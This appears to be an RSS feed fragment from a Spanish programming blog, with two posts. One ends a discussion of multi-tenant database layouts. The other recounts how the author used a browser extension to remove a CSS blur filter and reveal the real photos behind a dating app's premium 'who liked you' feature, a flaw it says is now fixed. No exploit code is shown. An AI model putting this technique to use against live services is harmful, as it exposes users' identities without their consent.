al respecto, aunque ciertamente no fui el único en preguntar &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://stackoverflow.com/questions/48378789/what-is-the-difference-between-tenant-and-user&#34; rel=&#34;noopener nofollow&#34; target=&#34;_blank&#34;&gt;la diferencia entre usuarios y multi-tenant&lt;/a&gt;&#xA;:&lt;/p&gt;&#xA;&lt;table&gt;&#xA;  &lt;thead&gt;&#xA;      &lt;tr&gt;&#xA;          &lt;th&gt;&lt;strong&gt;Aspecto&lt;/strong&gt;&lt;/th&gt;&#xA;          &lt;th&gt;&lt;strong&gt;Cuentas de Usuario&lt;/strong&gt;&lt;/th&gt;&#xA;          &lt;th&gt;&lt;strong&gt;Aplicación Multi-Tenant&lt;/strong&gt;&lt;/th&gt;&#xA;      &lt;/tr&gt;&#xA;  &lt;/thead&gt;&#xA;  &lt;tbody&gt;&#xA;      &lt;tr&gt;&#xA;          &lt;td&gt;&lt;strong&gt;Definición&lt;/strong&gt;&lt;/td&gt;&#xA;          &lt;td&gt;Perfiles individuales dentro de una aplicación compartida.&lt;/td&gt;&#xA;          &lt;td&gt;Instancia única de una aplicación que sirve a múltiples clientes (tenants), cada uno con su propio espacio.&lt;/td&gt;&#xA;      &lt;/tr&gt;&#xA;      &lt;tr&gt;&#xA;          &lt;td&gt;&lt;strong&gt;Nivel de Aislamiento&lt;/strong&gt;&lt;/td&gt;&#xA;          &lt;td&gt;Todos los usuarios comparten los mismos datos y configuraciones generales.&lt;/td&gt;&#xA;          &lt;td&gt;Los datos y configuraciones de cada tenant están aislados entre sí.&lt;/td&gt;&#xA;      &lt;/tr&gt;&#xA;      &lt;tr&gt;&#xA;          &lt;td&gt;&lt;strong&gt;Personalización&lt;/strong&gt;&lt;/td&gt;&#xA;          &lt;td&gt;Limitada al nivel del usuario (como temas o ajustes personales).&lt;/td&gt;&#xA;          &lt;td&gt;Cada tenant puede tener configuraciones, branding o incluso funcionalidades diferentes.&lt;/td&gt;&#xA;      &lt;/tr&gt;&#xA;      &lt;tr&gt;&#xA;          &lt;td&gt;&lt;strong&gt;Ejemplo Sencillo&lt;/strong&gt;&lt;/td&gt;&#xA;          &lt;td&gt;Un foro online donde los usuarios tienen cuentas, pero todos comparten las mismas categorías y posts.&lt;/td&gt;&#xA;          &lt;td&gt;Google Workspace (antes G Suite), donde cada empresa (tenant) tiene su propio correo, Drive, y usuarios.&lt;/td&gt;&#xA;      &lt;/tr&gt;&#xA;      &lt;tr&gt;&#xA;          &lt;td&gt;&lt;strong&gt;Propósito Principal&lt;/strong&gt;&lt;/td&gt;&#xA;          &lt;td&gt;Gestionar múltiples usuarios dentro de un solo sistema compartido.&lt;/td&gt;&#xA;          &lt;td&gt;Gestionar múltiples clientes separados, cada uno con varios usuarios y necesidades únicas.&lt;/td&gt;&#xA;      &lt;/tr&gt;&#xA;      &lt;tr&gt;&#xA;          &lt;td&gt;&lt;strong&gt;Datos Compartidos&lt;/strong&gt;&lt;/td&gt;&#xA;          &lt;td&gt;Los datos suelen estar en un mismo espacio, compartidos por todos los usuarios.&lt;/td&gt;&#xA;          &lt;td&gt;Los datos de cada tenant están segregados, aunque usen la misma base de datos.&lt;/td&gt;&#xA;      &lt;/tr&gt;&#xA;  &lt;/tbody&gt;&#xA;&lt;/table&gt;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-1124666671&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;1124666671&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;style&gt;&#xA;&#xA;  .google-ads-container-1124666671{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-1124666671 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;        .banner{&#xA;      width: 273px;&#xA;      height: 34px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-1124666671 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&lt;h2 id=&#34;como-estructurar-las-bases-de-datos-en-una-aplicacion-multi-tenant&#34;&gt;¿Cómo estructurar las bases de datos en una aplicación multi-tenant?&lt;/h2&gt;&#xA;&lt;p&gt;Una aplicación multi-tenant tendrá que registrar y guardar información de cada tenant y por ende habrá una base de datos, pero al estar manejando múltiples tenants o inquilinos, será inevitable preguntarnos: ¿Cómo diseñamos nuestra(s) base(s) de datos? ¿Divido a los tenants por base de datos o por tabla? ¿será buena idea una base de datos para todos en su lugar?&lt;/p&gt;&#xA;&lt;p&gt;Pues existen diferentes paradigmas al respecto, cada una con sus ventajas y desventajas.&lt;/p&gt;&#xA;&lt;h3 id=&#34;una-base-de-datos-y-un-mismo-esquema-para-todos-los-tenants&#34;&gt;Una base de datos y un mismo esquema para todos los tenants.&lt;/h3&gt;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-5272667386&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;5272667386&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&lt;style&gt;&#xA;  .google-ads-container-5272667386{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-5272667386 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-5272667386 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&lt;p&gt;Una única base de datos y un solo esquema, con tablas diferentes para cada tenant. La más sencilla y simple de implementar, pero con pésimo aislamiento y personalización. Puedes identificar a cada tenant por su id único.&lt;/p&gt;&#xA;&lt;div class=&#34;mermaid&#34;&gt;architecture-beta&#xA;    group api(database)[Database]&#xA;&#xA;    service schema(logos:datasette-icon)[Schema] in api&#xA;&lt;/div&gt;&#xA;  &#xA;  &#xA;  &lt;p&gt;Una query SQL luciría así&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;SELECT * FROM &amp;lt;table&amp;gt; WHERE &amp;lt;tenant_id_column&amp;gt; &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;&amp;lt;id&amp;gt;&amp;#39;&lt;/span&gt;;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id=&#34;una-base-de-datos-para-cada-tenant&#34;&gt;Una base de datos para cada tenant&lt;/h3&gt;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-8811585000&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;8811585000&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&lt;style&gt;&#xA;  .google-ads-container-8811585000{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-8811585000 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-8811585000 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&#xA;&#xA;&lt;p&gt;Aquí hay una base de datos por cada tenant. La más costosa en recursos pero proporciona aislamiento y nivel de personalización total. Puedes identificar a cada tenant por su schema.&lt;/p&gt;&#xA;&lt;div class=&#34;mermaid&#34;&gt;architecture-beta&#xA;    group app[App]&#xA;&#xA;    service db1(database)[Database] in app&#xA;    service db2(database)[Database] in app&#xA;    service db3(database)[Database] in app&#xA;&lt;/div&gt;&#xA;  &#xA;  &#xA;  &lt;p&gt;Una query SQL luciría así&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;# Connecting database in postgres&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;\c&lt;/span&gt; &amp;lt;tenant_database_&amp;gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;SELECT * FROM &amp;lt;tenant&amp;gt;.&amp;lt;table&amp;gt;;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id=&#34;una-base-de-datos-pero-diferentes-schemas-para-cada-tenant&#34;&gt;Una base de datos pero diferentes schemas para cada tenant&lt;/h3&gt;&#xA;&lt;p&gt;Una única base de datos para todos los tenants pero un schema diferente para cada tenant. Personalizable y la separación de los esquemas mantiene cierto nivel de aislamiento, pero la complejidad se incrementa. Puedes identificar a cada tenant por su schema.&lt;/p&gt;&#xA;&lt;div class=&#34;mermaid&#34;&gt;architecture-beta&#xA;    group api(database)[Database]&#xA;&#xA;    service schema1(logos:datasette-icon)[Schema] in api&#xA;    service schema2(logos:datasette-icon)[Schema] in api&#xA;    service schema3(logos:datasette-icon)[Schema] in api&#xA;&lt;/div&gt;&#xA;  &#xA;  &#xA;  &lt;p&gt;Una query SQL luciría así.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;SELECT * FROM &amp;lt;tenant&amp;gt;.&amp;lt;table&amp;gt;;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Ahora tienes una idea general del patrón multi tenant y esperamos que puedas usarlo en tus aventuras SAAS.&lt;/p&gt;&#xA;</content:encoded>
      <summary>&lt;p&gt;El &lt;strong&gt;patrón multi tenant&lt;/strong&gt; es un enfoque de arquitectura (No confundir con &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/es/python/patrones-de-diseno-o-software-design-patterns/&#34;&gt;patrón de diseño&lt;/a&gt;&#xA; o &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/es/software-architecture/patrones-de-deployment-o-despliegue-utiles/&#34;&gt;patrón de despliegue&lt;/a&gt;&#xA;) en software donde &lt;strong&gt;una única instancia de una aplicación sirve a múltiples clientes&lt;/strong&gt; (o también podrías llamarlos inquilinos, que es la traducción de tenants). Es probable que hayas estado en contacto con este patrón de diseño al usar dropbox, Slack o cualquier SAAS de gestión de proyectos.&lt;/p&gt;&#xA;&lt;p&gt;En la arquitectura multi-tenant, cada tenant puede ser una empresa, un grupo o un usuario individual, y aunque comparten la misma infraestructura y código base, sus datos están &lt;strong&gt;aislados y personalizados&lt;/strong&gt;.&lt;/p&gt;</summary>
    </item>
    
    <item>
      <title>Me Aproveché De Un Error En El Código De Una App De Citas</title>
      <link>https://coffeebytes.dev/es/javascript/me-aproveche-de-un-error-en-el-codigo-de-una-app-de-citas/</link>
      <pubDate>Fri, 03 Jan 2025 20:36:36 -0600</pubDate>
      <guid>https://coffeebytes.dev/es/javascript/me-aproveche-de-un-error-en-el-codigo-de-una-app-de-citas/</guid>
      
      <category>javascript</category>
      
      <category>software architecture</category>
      
      
      
      
      
      <content:encoded>&lt;p&gt;Mientras usaba una app de citas estilo Tinder, de esas en las que, tras un like mutuo, la aplicación pone en contacto a los involucrados, pude notar que, para promocionar su plan premium, usaban fotografías difuminadas para presentarte a las personas que habían presionado el botón de Like en tu perfil.&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;  &#xA;  &#xA;    &#xA;    &#xA;    &#xA;      &#xA;    &#xA;  &#xA;    &#xA;    &#xA;    &#xA;      &#xA;    &#xA;  &#xA;&#xA;  &#xA;    &lt;script&gt;&#xA;      (function() {&#xA;        var matchedAdsData = &#34;[{\&#34;description\&#34;:\&#34;Este es EL LIBRO cuando se trata de Javascript. Es una guía completa que cubre todo lo que necesitas saber, desde la declaración de variables, al funcionamiento interno de las promesas e incluso te explica como crear un compilador en Javascript (No tan eficiente como uno compilado, pero ideal para aprender), si vas a leer solo un libro de Javascript, que sea este.\&#34;,\&#34;imageAlt\&#34;:\&#34;Portada del libro Eloquent Javascript\&#34;,\&#34;imageSrc\&#34;:\&#34;https://coffeebytes.dev/en/pages/books-i-read-and-reviews/images/eloquent-javascript.jpg\&#34;,\&#34;link\&#34;:\&#34;https://amzn.to/3QvqSYt\&#34;,\&#34;linkText\&#34;:\&#34;Consulta el precio de Eloquent Javascript y cómpralo en Amazon\&#34;,\&#34;title\&#34;:\&#34;¿Dónde mejorar sus conocimientos de Javascript?\&#34;},{\&#34;description\&#34;:\&#34;Este libro me mostró la manera en que las grandes empresas, como Youtube, Dropbox, Google, etc. diseñan sus sistemas para manejar peticiones astronómicas por segundo. Alex Xu te enseña cómo estructurar réplicas de bases de datos, caché, balanceadores de carga y todos los detalles sobre el diseño de software de clase empresarial, si estás interesado en aprender sobre sistemas que escalan, no debes perderte este libro.\&#34;,\&#34;imageAlt\&#34;:\&#34;Portada del System Design Interview\&#34;,\&#34;imageSrc\&#34;:\&#34;https://coffeebytes.dev/en/pages/books-i-read-and-reviews/images/system-design-interview.jpg\&#34;,\&#34;link\&#34;:\&#34;https://amzn.to/41rodp3\&#34;,\&#34;linkText\&#34;:\&#34;Consulta el precio de System Design Interview y cómpralo en Amazon\&#34;,\&#34;title\&#34;:\&#34;El mejor libro para aprender Arquitectura de Software\&#34;}]&#34;;&#xA;        &#xA;        function renderAds() {&#xA;          var rightPanel = document.getElementById(&#39;right-panel&#39;);&#xA;          if (!rightPanel) return;&#xA;&#xA;          &#xA;          var existingContainer = document.getElementById(&#39;ads-panels-container&#39;);&#xA;          if (existingContainer) {&#xA;            existingContainer.remove();&#xA;          }&#xA;&#xA;          var matchedAds = JSON.parse(matchedAdsData);&#xA;          &#xA;          if (!matchedAds || !Array.isArray(matchedAds) || matchedAds.length === 0) return;&#xA;          &#xA;          var container = document.createElement(&#39;div&#39;);&#xA;          container.id = &#39;ads-panels-container&#39;;&#xA;          container.className = &#39;ads-panels-sticky&#39;;&#xA;          rightPanel.appendChild(container);&#xA;          &#xA;          matchedAds.forEach(function(ad) {&#xA;            if (!ad || !ad.title) return;&#xA;            &#xA;            var panel = document.createElement(&#39;div&#39;);&#xA;            panel.className = &#39;ad-panel&#39;;&#xA;            panel.innerHTML = &#xA;              &#39;&lt;div class=&#34;ad-panel-content&#34;&gt;&#39; +&#xA;                &#39;&lt;img height=&#34;150px&#34; width=&#34;100px&#34; src=&#34;&#39; + ad.imageSrc + &#39;&#34; alt=&#34;&#39; + (ad.imageAlt || ad.title) + &#39;&#34; class=&#34;ad-book-image&#34; loading=&#34;lazy&#34; /&gt;&#39; +&#xA;                &#39;&lt;h4 class=&#34;ad-title&#34;&gt;&lt;strong&gt;&#39; + ad.title + &#39;&lt;/strong&gt;&lt;/h4&gt;&#39; +&#xA;                (ad.description ? &#39;&lt;p class=&#34;ad-description&#34;&gt;&#39; + ad.description + &#39;&lt;/p&gt;&#39; : &#39;&#39;) +&#xA;                (ad.link ? &#39;&lt;a href=&#34;&#39; + ad.link + &#39;&#34; target=&#34;_blank&#34; rel=&#34;sponsored nofollow&#34; class=&#34;ad-link-button&#34;&gt;&#39; + (ad.linkText || &#39;Learn More&#39;) + &#39;&lt;/a&gt;&#39; : &#39;&#39;) +&#xA;              &#39;&lt;/div&gt;&#39;;&#xA;            &#xA;            container.appendChild(panel);&#xA;          });&#xA;        }&#xA;&#xA;        &#xA;        document.addEventListener(&#39;DOMContentLoaded&#39;, renderAds);&#xA;        &#xA;        &#xA;        document.addEventListener(&#39;htmx:historyRestore&#39;, renderAds);&#xA;        document.addEventListener(&#39;htmx:afterSettle&#39;, renderAds);&#xA;      })();&#xA;    &lt;/script&gt;&#xA;  &#xA;&#xA;&#xA;&lt;style&gt;&#xA;  .ads-panels-sticky {&#xA;    position: sticky;&#xA;    top: 100px;&#xA;    display: flex;&#xA;    flex-direction: column;&#xA;    gap: 16px;&#xA;    z-index: 10;&#xA;  }&#xA;&#xA;  .ad-panel {&#xA;    background: transparent;&#xA;    border-radius: 8px;&#xA;    padding: 16px 36px;&#xA;  }&#xA;&#xA;  .ad-panel:hover {&#xA;    transform: none;&#xA;  }&#xA;&#xA;  .ad-panel-content {&#xA;    display: flex;&#xA;    flex-direction: column;&#xA;    align-items: center;&#xA;    text-align: justify;&#xA;  }&#xA;&#xA;  .ad-book-image {&#xA;    width: 100px;&#xA;    height: auto;&#xA;    border-radius: 6px;&#xA;    margin-bottom: 10px;&#xA;    object-fit: cover;&#xA;  }&#xA;&#xA;  .ad-title {&#xA;    font-size: 0.9rem;&#xA;    font-weight: 600;&#xA;    margin: 0 0 6px 0;&#xA;    color: var(--secondary-text);&#xA;    line-height: 1.3;&#xA;  }&#xA;&#xA;  .ad-description {&#xA;    font-size: 0.75rem;&#xA;    color: var(--secondary-text);&#xA;    margin: 0 0 10px 0;&#xA;    line-height: 1.4;&#xA;    display: -webkit-box;&#xA;    -webkit-line-clamp: 2;&#xA;    -webkit-box-orient: vertical;&#xA;    overflow: hidden;&#xA;  }&#xA;&#xA;  .ad-link-button {&#xA;    display: inline-block;&#xA;    padding: 8px 12px;&#xA;    background: #ffa41c;&#xA;    color: #111;&#xA;    text-decoration: none;&#xA;    border-radius: 4px;&#xA;    font-size: 0.8rem;&#xA;    font-weight: 500;&#xA;    transition: background 0.2s ease, opacity 0.2s ease;&#xA;    width: 100%;&#xA;    box-sizing: border-box;&#xA;    text-align: center;&#xA;  }&#xA;&#xA;  .ad-link-button:hover {&#xA;    background: #f08804;&#xA;    opacity: 1;&#xA;  }&#xA;&#xA;  @media (max-width: 768px) {&#xA;    .ads-panels-sticky,&#xA;    .ad-panel,&#xA;    #ads-panels-container {&#xA;      display: none;&#xA;      visibility: hidden;&#xA;      opacity: 0;&#xA;      z-index:1;&#xA;    }&#xA;  }&#xA;&#xA;  @media (max-width: 1024px) {&#xA;    .ads-panels-sticky {&#xA;      position: static;&#xA;      flex-direction: row;&#xA;      flex-wrap: wrap;&#xA;      justify-content: center;&#xA;    }&#xA;&#xA;    .ad-panel {&#xA;      max-width: 200px;&#xA;      flex: 0 0 auto;&#xA;    }&#xA;  }&#xA;&#xA;  @media (max-width: 600px) {&#xA;    .ads-panels-sticky {&#xA;      flex-direction: column;&#xA;    }&#xA;&#xA;    .ad-panel {&#xA;      max-width: 100%;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-8672022193&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;8672022193&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;style&gt;&#xA;&#xA;  .google-ads-container-8672022193{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-8672022193 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;    .banner{&#xA;      width: 273px;&#xA;      height: 34px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-8672022193 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&#xA;&#xA;&lt;p&gt;Tras tener un par de matches pude notar que las fotografías difuminadas pertenecian a cuentas reales, es decir, no eran un set de imágenes genéricas o placeholders.&lt;/p&gt;&#xA;&lt;a hx-boost=&#34;false&#34; href=&#34;https://res.cloudinary.com/dwrscezd2/image/upload/v1735963400/thumbnail-blurry-app-date-400_fm35p2.jpg&#34;&gt;&#xA;&lt;figure class=&#34;md-local-image&#34;&gt;&lt;img src=&#34;https://res.cloudinary.com/dwrscezd2/image/upload/v1735963400/thumbnail-blurry-app-date-400_fm35p2.jpg&#34;&#xA;    loading=&#34;lazy&#34;&#xA;    alt=&#34;&amp;#34;Ejemplo del efecto blur aplicado a la fotografía&amp;#34;&#34; width=&#34;400&#34; height=&#34;200&#34;&gt;&lt;figcaption&gt;&#xA;      &lt;p&gt;Ejemplo del efecto blur aplicado a la fotografía&lt;/p&gt;&#xA;    &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&lt;/a&gt;&#xA;&lt;p&gt;Sonaba demasiado obvio, de igual forma, abrí la consola de desarrollador de mi navegador y me dirigí al código CSS para comprobar mis sospechas. ¡No puede ser que cometieran un error tan simple!—pensé—Están protegiendo la identidad de las fotografías con un simple &lt;em&gt;filter: blur&lt;/em&gt;  de CSS.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-css&#34; data-lang=&#34;css&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;.&lt;span style=&#34;color:#f3f99d&#34;&gt;hidden-image&lt;/span&gt; {&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#ff6ac1&#34;&gt;filter&lt;/span&gt;: &lt;span style=&#34;color:#ff5c57&#34;&gt;blur&lt;/span&gt;(&lt;span style=&#34;color:#ff9f43&#34;&gt;4&lt;/span&gt;&lt;span style=&#34;color:#9aedfe&#34;&gt;px&lt;/span&gt;);&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;}&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id=&#34;procesamiento-de-imagenes-de-esta-app-de-citas&#34;&gt;Procesamiento de imágenes de esta app de citas&lt;/h2&gt;&#xA;&lt;p&gt;Las imágenes reales eran servidas por el CDN de la aplicación y posteriormente aplicaban un filtro para ocultarlas, por lo que, para saber quien te había dado like, bastaba con remover el filtro.&lt;/p&gt;&#xA;&lt;p&gt;Desafortunadamente era imposible obtener otro dato a partir de las fotografías o de la estructura la URL, &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/es/software-architecture/caracteristicas-basicas-de-una-api-rest/&#34;&gt;llamadas a la API&lt;/a&gt;&#xA;, o cualquier otro dado; ni el nombre, ni el perfil ni alguna otra información era accesible más que la imagen de perfil.&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-1124666671&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;1124666671&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;style&gt;&#xA;&#xA;  .google-ads-container-1124666671{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-1124666671 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;        .banner{&#xA;      width: 273px;&#xA;      height: 34px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-1124666671 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&lt;h2 id=&#34;como-ofuscar-imagenes-en-apps-de-citas&#34;&gt;¿Cómo ofuscar imágenes en apps de citas?&lt;/h2&gt;&#xA;&lt;p&gt;Ciertamente este era un error de arquitectura, es cierto que es muy sencillo realizar el tratamiento de las imágenes en el frontend, con CSS, pero una mejor opción hubiera sido usar un set de imágenes genéricas para todas las cuentas.&lt;/p&gt;&#xA;&lt;p&gt;Otra alternativa hubiera sido generar un thumbnail (o c&#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/es/linux/como-convertir-jpg-a-webp-en-gnu-linux/&#34;&gt;ambiar el formato, ejemplo: webp&lt;/a&gt;&#xA;) automáticamente cada vez que un usuario actualice su imagen principal de perfil; consume un poco más de espacio pero mantiene las imágenes reales seguras y personaliza la experiencia de cada usuario.&lt;/p&gt;&#xA;&lt;div class=&#34;mermaid&#34;&gt;flowchart TD&#xA;    id1[Profile picture change] --&gt; id2[Generate blurred thumbnail ]&#xA;    id1 --&gt; id3[Generate normal thumbnail ]&#xA;&lt;/div&gt;&#xA;  &#xA;  &#xA;  &#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-5272667386&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;5272667386&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&lt;style&gt;&#xA;  .google-ads-container-5272667386{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-5272667386 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-5272667386 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&lt;h2 id=&#34;explotando-el-error-con-una-extension-de-navegador&#34;&gt;Explotando el error con una extensión de navegador&lt;/h2&gt;&#xA;&lt;p&gt;Para aprovecharme del error, cree un pequeño script en Javascript que obtenía todas las imágenes y removía la clase que aplicaba el filtro blur, posteriormente lo integré a una extensión de navegador para automatizar el proceso de desbloquearlas cada vez que entraba a la página.&lt;/p&gt;&#xA;&lt;p&gt;Este pequeño descuido por parte de los desarrolladores duró activo cerca de dos años. Actualmente ya ha sido solucionado por lo que si intentas buscar el error en las páginas principales de citas, ya no lo encontrarás, y esta es también la razón principal por la que decidí publicar sobre ello.&lt;/p&gt;&#xA;&lt;p&gt;Los desarrolladores a cargo de la aplicación modificaron el código para su versión web, dejando casi intacta el resto de la UI y escogió crear un thumbnail protegido para cada cuenta, pero procesándolo desde el backend, para que sea completamente imposible conseguir la imagen real.&lt;/p&gt;&#xA;</content:encoded>
